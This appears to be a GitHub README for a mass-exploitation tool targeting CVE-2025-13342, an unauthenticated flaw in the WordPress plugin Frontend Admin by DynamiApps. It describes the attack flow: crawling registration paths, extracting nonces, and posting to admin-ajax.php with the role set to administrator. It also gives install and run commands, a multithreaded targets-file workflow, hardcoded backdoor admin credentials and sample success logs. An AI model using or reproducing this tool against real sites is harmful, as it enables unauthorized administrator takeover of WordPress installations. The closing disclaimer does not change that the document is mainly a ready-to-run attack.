nxploited/cve-2025-13342Frontend Admin by DynamiApps <= 3.28.20 - Unauthenticated Arbitrary Options Update
Frontend Admin by DynamiApps <= 3.28.20 - Unauthenticated Arbitrary Options Update
__ __ _ _ _ ___ ,________ _
/ ()(| |_// () / )/ \/ )|__ /| __/ __/| |/ )
| | | >- ----/| |/ \----| \ \|__|_/
\___/ \/ \___/ /__\_//__\__/ |\__/\__/ |/__
| Field | Detail |
|---|---|
| CVE ID | CVE-2025-13342 |
| Score | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Affected | Frontend Admin by DynamiApps ≤ 3.28.20 |
| Auth | None — fully unauthenticated |
| Type | Insufficient Capability Check + Input Validation → Arbitrary Option Write |
| CWE | CWE-284 · Improper Access Control |
What happens:
ActionOptions::run() save handler neither checks user capabilities nor validates input before writing to wp_options. A public ACF frontend form becomes an open write channel. The attacker sets users_can_register=1 and default_role=administrator, then registers a new account that receives the Administrator role automatically.
This tool skips that two-step approach — it directly submits the crafted form payload with role=administrator injected into the user creation fields via acff[user][field_*], creating an admin account in a single AJAX call.
1. Crawl common registration paths → locate ACF frontend form
2. Parse hidden fields → _acf_nonce, _acf_form
3. Map user fields → username · email · password · role
4. POST /wp-admin/admin-ajax.php
action=frontend_admin/form_submit
acff[user][<role_field>] = administrator
5. {"success":true} → admin account created
6. Log to acf_success.txt
requests
beautifulsoup4
colorama
rich
pip install requests beautifulsoup4 colorama rich
git clone https://github.com/Nxploited/CVE-2025-13342.git
cd CVE-2025-13342
pip install -r requirements.txt
python3 CVE-2025-13342.py
The tool is interactive. You will be asked four questions:
Targets file path → list.txt
Threads → 10
Timeout (seconds) → 10
Verbose debug → y / N
Credentials are fixed internally:
| Field | Value |
|---|---|
| Username | Nxadmin1 |
[email protected] | |
| Password | NxAdmin_1337#KSA |
One host per line — scheme optional:
https://target1.com
target2.com
http://target3.com
The tool probes 28 paths per target in order, stopping at the first valid ACF form:
/ /register/ /registration/ /signup/ /sign-up/
/user-registration/ /account/ /my-account/
/frontend-form/ /frontend-register/ ...
| File | Contents |
|---|---|
acf_success.txt | Confirmed successful admin creations |
Format:
[2025-06-01 14:30:22] BASE=https://target.com FORM=https://target.com/register/
USER=Nxadmin1 [email protected] PASS=NxAdmin_1337#KSA JSON={"success":true,...}
Terminal:
[+] Target base: https://target.com
[+] Found form at: https://target.com/register/
_acf_nonce: a1b2c3d4e5
_acf_form: 123
[+] SUCCESS: https://target.com
[-] No suitable ACF Frontend form found on ...
[-] FAILED: https://target2.com
| Author | Nxploited (Khaled Alenazi) |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
This tool is provided for authorized security research and educational purposes only.
The author accepts no responsibility for any use against systems without explicit written permission from the owner.
Unauthorized access is illegal under the CFAA, CMA, and equivalent laws worldwide.
You are solely responsible for your actions.